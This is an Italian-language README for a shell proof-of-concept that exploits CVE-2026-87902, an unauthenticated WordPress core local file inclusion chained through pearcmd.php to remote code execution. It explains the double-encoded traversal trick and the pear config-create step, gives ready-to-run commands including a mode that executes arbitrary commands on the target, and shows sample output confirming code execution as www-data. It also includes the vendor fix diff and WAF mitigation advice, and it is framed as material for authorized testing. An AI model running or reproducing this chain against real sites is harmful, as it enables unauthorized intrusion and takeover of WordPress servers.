Shell PoC per CVE-2026-87902, un LFI non autenticato del core di WordPress tramite la risoluzione dei page-template che concatena a RCE attraverso pearcmd.php.
| Componente | Core di WordPress (wp-includes/template.php) |
| Tipo | CWE-98 — Inclusione di file PHP (LFI → RCE) |
| Affetto | WordPress < 7.1.2 (ramo 7.0 corretto in 7.0.6; backport 6.x dipendenti dal ramo) |
| Corretto | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() aggiunge page-{urldecode(pagename)}.php alla gerarchia dei template di pagina quando
la variabile di query pagename contiene caratteri codificati in percentuale, e locate_template()
risolve il candidato con file_exists() / require senza validare che il percorso rimanga
all'interno del tema attivo. Un attaccante non autenticato può quindi includere ed eseguire un file
.php locale leggibile scelto al di fuori del tema attivo.
Precondizioni:
< 7.1.2.page- (ad esempio il tema
ufficiale Twenty Fourteen include page-templates/). Il nome del template è sempre preceduto da page-,
quindi il primo componente del percorso deve esistere.Il payload è doppiamente codificato in modo che sanitize_title_for_query() preservi gli ottetti %2e/%2f;
urldecode() all'interno di get_page_template() ricostruisce quindi ../ al momento della risoluzione
del template.
Se il server ha anche un pearcmd.php raggiungibile e register_argc_argv = On (il valore predefinito
nell'immagine PHP ufficiale), la catena si escala a esecuzione di codice in remoto: la query string
diventa argv CLI tramite separatori +, pear config-create scrive un file .php controllato
dall'attaccante, e la stessa LFI lo include.
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
Opzioni: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (o
VDP_AUTHORIZED=1) è richiesto per qualsiasi modalità che possa scrivere quando il target non è localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
Se la LFI è confermata ma PEAR è assente (o register_argc_argv è Off), lo script segnala
chiaramente la precondizione ed esce senza scrivere nulla (exit 3).
page-* e profondità di traversal, richiedere
page-<dir>/../../…/wp-includes/version.php tramite il parametro pagename
(POST, body vuoto — necessario perché WordPress reindirizza prima con canonical redirect GET/HEAD).200 con un body di 0 byte (rispetto alla baseline della pagina di diversi KB) prova l'inclusione.pear config-create tramite la LFI con un payload auto-eliminante, quindi
includere il file scritto con un comando fornito nella richiesta.Correzione del vendor in 7.1.2 (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
più un controllo di contenimento realpath() in locate_template()
(_wp_is_template_path_allowed()). wordpress-7.0.6 contiene la correzione identica a livello di byte.
pagename contenenti sequenze di traversal (.., %2e%2e,
%252e%252e) su ogni metodo HTTP, oppure rimuovere la precondizione della directory del tema page-*.Solo per test di sicurezza autorizzati. Le modalità RCE utilizzano un payload auto-eliminante e non scrivono nulla oltre al proprio file marcatore temporaneo, ma eseguono comunque comandi sul target — eseguirle solo dove si ha esplicita autorizzazione.